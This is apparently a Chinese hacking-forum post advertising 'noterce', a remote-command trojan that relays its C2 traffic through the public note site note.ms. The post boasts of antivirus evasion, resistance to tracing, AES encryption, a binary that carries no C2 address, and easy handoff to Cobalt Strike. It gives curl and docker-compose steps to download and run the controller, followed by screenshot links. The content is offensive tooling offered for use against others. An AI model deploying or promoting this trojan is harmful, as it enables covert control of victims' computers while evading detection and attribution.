一种另辟蹊径的免杀执行系统命令的木马,通过https“公开笔记”网站来交互通信交互
By T00ls.Net
-
使用公开笔记网站https://note.ms做中间服务器。uri /ba为一个笔记的地址,每个uri都对应一个笔记。
优点:
- 免杀
- 有效避免被溯源
- AES加密
- 二进制木马不包含c2地址,通过noterce传递c2指令
缺点:
- 15秒执行一次命令(但可直接上线cs)
noterce前端 启动命令:
curl -LjO https://github.com/xiao-zhu-zhu/noterce/releases/download/1.3/noterce.zip
unzip noterce.zip
cd noterce
docker-compose up -d
#端口默认为8888
#可在docker-compose.yaml更改port
- 打开部署好的网站
![图片](https://private-user-images.githubusercontent.com/85468097/237304571-63477782-9faf-48eb-8764-c42073403dce.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQ3OTM1MjEsIm5iZiI6MTcyNDc5MzIyMSwicGF0aCI6Ii84NTQ2ODA5Ny8yMzczMDQ1NzEtNjM0Nzc3ODItOWZhZi00OGViLTg3NjQtYzQyMDczNDAzZGNlLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjclMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODI3VDIxMTM0MVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTkyODNmNDU1MjI2MDEwMmEwNmU0NTBmYjZkN2UwZWEyMjAyNWIwNjBiZmE2NWVlZGIzYjYyYmM4NWZjNzgwZTMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.23rpnSnrBj-eJ4ZqFqt6_7mHbPDhAoGnUG9FdJf9FDo)
![图片](https://private-user-images.githubusercontent.com/85468097/237304646-ba5d9895-7e73-48c9-8da5-33dcc56541b9.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQ3OTM1MjEsIm5iZiI6MTcyNDc5MzIyMSwicGF0aCI6Ii84NTQ2ODA5Ny8yMzczMDQ2NDYtYmE1ZDk4OTUtN2U3My00OGM5LThkYTUtMzNkY2M1NjU0MWI5LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjclMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODI3VDIxMTM0MVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWRjMDdhNjU5ZDhjZGMwYjQ5ODgyNTY1NTc0OGQyZGFmNWMyMzYzNDQ2MDEyOGEzNWNlZDVkZTkwM2ZjNWMwM2MmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.HvnchTBCWkGXQ7Lq48BJSmt8F4j0YizTn1_E7xhrFvY)
![图片](https://private-user-images.githubusercontent.com/85468097/237304906-0ef38e95-6c49-46bf-950a-e1ecd397d990.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQ3OTM1MjEsIm5iZiI6MTcyNDc5MzIyMSwicGF0aCI6Ii84NTQ2ODA5Ny8yMzczMDQ5MDYtMGVmMzhlOTUtNmM0OS00NmJmLTk1MGEtZTFlY2QzOTdkOTkwLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjclMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODI3VDIxMTM0MVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWRlOTQyZTg1NDRhYmIyNGRhOWYxZjYxNDE4Nzg1ZGQyNjhiOWFjYjdkNmRlYjBhNmVkMmRjYWU2MDlhMGFkZmEmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.-EsD7AKs8XMXeBUjmBn0XzoGeDituDHrkLIa-3MmQ1s)
![图片](https://private-user-images.githubusercontent.com/85468097/237306165-b58dd11f-e3ff-4272-ac9d-5ec9e6f0b2e8.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQ3OTM1MjEsIm5iZiI6MTcyNDc5MzIyMSwicGF0aCI6Ii84NTQ2ODA5Ny8yMzczMDYxNjUtYjU4ZGQxMWYtZTNmZi00MjcyLWFjOWQtNWVjOWU2ZjBiMmU4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjclMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODI3VDIxMTM0MVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTQwNDNmNjMzOTc4MjBjZjMwNmYxZGJiM2FhOGIyNmZmY2MyYjA3NzFiODU5ZDA2YzE4Zjg0NzQ2MWU0MDVmZmYmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0._MbPC9tNv2llLZpBIyavCteynjPpS5qP07vBkN4TcrA)
![图片](https://private-user-images.githubusercontent.com/85468097/237306165-b58dd11f-e3ff-4272-ac9d-5ec9e6f0b2e8.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQ3OTM1MjEsIm5iZiI6MTcyNDc5MzIyMSwicGF0aCI6Ii84NTQ2ODA5Ny8yMzczMDYxNjUtYjU4ZGQxMWYtZTNmZi00MjcyLWFjOWQtNWVjOWU2ZjBiMmU4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjclMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODI3VDIxMTM0MVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTQwNDNmNjMzOTc4MjBjZjMwNmYxZGJiM2FhOGIyNmZmY2MyYjA3NzFiODU5ZDA2YzE4Zjg0NzQ2MWU0MDVmZmYmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0._MbPC9tNv2llLZpBIyavCteynjPpS5qP07vBkN4TcrA)
![图片](https://private-user-images.githubusercontent.com/85468097/237311049-605d988e-f46a-4d3a-9bd0-695a6e719423.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQ3OTM1MjEsIm5iZiI6MTcyNDc5MzIyMSwicGF0aCI6Ii84NTQ2ODA5Ny8yMzczMTEwNDktNjA1ZDk4OGUtZjQ2YS00ZDNhLTliZDAtNjk1YTZlNzE5NDIzLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MjclMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODI3VDIxMTM0MVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWI0OTQ3ODBmYjY2NDNlNTM5MTM5ZGY2ZGQ5MDlhMDM0YjNiYzlmMDExMGFlNzUzYzMxNzkxMzQ2ODQwOGJiMzImWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.alByuguTENrpPGrl3ojEju87tAn5ePNe8hMKY_ISv30)